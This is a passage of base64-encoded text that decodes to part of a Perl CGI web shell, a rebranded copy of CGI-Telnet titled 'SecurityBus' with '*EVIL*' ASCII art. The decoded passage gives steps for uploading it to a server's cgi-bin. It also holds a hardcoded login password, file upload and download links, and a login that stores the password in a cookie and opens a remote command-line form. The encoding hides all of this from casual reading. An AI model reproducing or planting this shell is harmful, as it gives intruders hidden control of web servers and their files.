vIHRoZSBzY3JpcHQNCiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQ0KIyBpbiB0aGlzIHNjcmlwdCwgeW91IGNhbiBlLW1haWwgbWUuDQojDQojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQ0KIyBBdXRob3IgZS1tYWlsOiByb2hpdGFiQHJvaGl0YWIuY29tDQojIEF1dGhvciBIb21lcGFnZTogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS8NCiMgU2NyaXB0IEhvbWVwYWdlOiBtYWlsdG86VU5JVFhfVEVBTUBIT1RNQUlMLkNPTQ0KIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8NCiMgRGlzY3Vzc2lvbiBGb3J1bTogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9kaXNjdXNzLw0KIyBNYWlsaW5nIExpc3Q6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vbWxpc3QvDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgSW5zdGFsbGF0aW9uDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRvIGluc3RhbGwgdGhpcyBzY3JpcHQNCiMNCiMgMS4gTW9kaWZ5IHRoZSBmaXJzdCBsaW5lICIjIS91c3IvYmluL3BlcmwiIHRvIHBvaW50IHRvIHRoZSBjb3JyZWN0IHBhdGggb24NCiMgICAgeW91ciBzZXJ2ZXIuIEZvciBtb3N0IHNlcnZlcnMsIHlvdSBtYXkgbm90IG5lZWQgdG8gbW9kaWZ5IHRoaXMuDQojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4NCiMgMy4gSWYgeW91J3JlIHJ1bm5pbmcgdGhlIHNjcmlwdCB1bmRlciBXaW5kb3dzIE5ULCBzZXQgJFdpbk5UID0gMSBpbiB0aGUNCiMgICAgQ29uZmlndXJhdGlvbiBTZWN0aW9uIGJlbG93Lg0KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8NCiMgICAgZXhlY3V0ZSBDR0kgc2NyaXB0cy4gVGhpcyBpcyB1c3VhbGx5IGNnaS1iaW4uIE1ha2Ugc3VyZSB0aGF0IHlvdSB1cGxvYWQNCiMgICAgdGhlIHNjcmlwdCBpbiBBU0NJSSBtb2RlLg0KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4NCiMgNi4gT3BlbiB0aGUgc2NyaXB0IGluIHlvdXIgd2ViIGJyb3dzZXIuIElmIHlvdSB1cGxvYWRlZCB0aGUgc2NyaXB0IGluDQojICAgIGNnaS1iaW4sIHRoaXMgc2hvdWxkIGJlIGh0dHA6Ly93d3cueW91cnNlcnZlci5jb20vY2dpLWJpbi9jZ2l0ZWxuZXQucGwNCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdlIG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcg0KIyB2YWx1ZXMgc2hvdWxkIHdvcmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJFBhc3N3b3JkID0gImcxdTV5IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENtZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQNCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPlNlY3VyaXR5QnVzPC90aXRsZT4NCiRIdG1sTWV0YUhlYWRlcg0KPC9oZWFkPg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwMDAwMDAiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCjx0ZCBiZ2NvbG9yPSIjQzJCRkE1IiBib3JkZXJjb2xvcj0iIzAwMDA4MCIgYWxpZ249ImNlbnRlciI+DQo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4NCjx0ZCBiZ2NvbG9yPSIjMDAwMDgwIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIiBjb2xvcj0iIzAwOTkwMCI+PGI+Q0dJLVRlbG5ldCBTZWN1cml0eUJ1cyBDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8L2I+PC9mb250PjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGJnY29sb3I9IiNDMkJGQTUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkRpc2Nvbm5lY3Q8L2E+IHwNCjxhIGhyZWY9IlVOSVRYX1RFQU1ASE9UTUFJTC5DT00iPkhlbHA8L2E+DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiIHNpemU9IjMiPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luU2NyZWVuDQp7DQoJJE1lc3NhZ2UgPSBxJDxwcmU+PGZvbnQgY29sb3I9IiNmZjAwMDAiPiBfX19fXyAgX19fX18gIF9fX19fICAgICAgICAgIF9fX19fICAgICAgICBfICAgICAgICAgICAgICAgXw0KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfA0KfCAvICBcL3wgfCAgXC8gIHwgfCAgIF9fX19fXyAgIHwgfCAgICBfX18gfCB8IF8gX18gICAgX19fIHwgfF8NCnwgfCAgICB8IHwgX18gICB8IHwgIHxfX19fX198ICB8IHwgICAvIF8gXHwgfHwgJ18gXCAgLyBfIFx8IF9ffA0KfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8NCiBcX19fXy8gXF9fX18vIFxfX18vICAgICAgICAgICBcXy8gICBcX19ffHxffHxffCB8X3wgXF9fX3wgXF9ffCAxLjANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj4gMjAxNSwgU2VjdXJpdHlCdXM8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPg0KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4NCiAgICAgICAgICAgICAgICAgIC8gICAgICAgICAgICBcDQogICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgIHwNCiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfA0KICAgICAgICAgICAgICAgICB8ICkoX28vICBcb18pKCB8DQogICAgICAgICAgICAgICAgIHwvICAgICAvXCAgICAgXHwNCiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQ0KICBfICAgICApIFw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58KkVWSUwqfDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPi88L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX19fX19fX19fX19fX19fX19fDQo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAoXyk8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPkA4QDg8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnt9PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj4mbHQ7X19fX19fX188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnwtXE1BU1RFUi8tfDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X19fX19fX19fX19fX19fX19fX19fX19fJmd0OzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+DQogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIA0KICAgICAgIChAICAgICAgICAgICBgLS0tLS0tLS1gDQogICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj5XIEEgUiBOIEkgTiBHOiBQcml2YXRlIFNlcnZlciA8L2ZvbnQ+PC9wcmU+DQokOw0KIycNCglwcmludCA8PEVORDsNCjxjb2RlPg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KbG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeycnfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiPGNvZGU+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2Fpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NC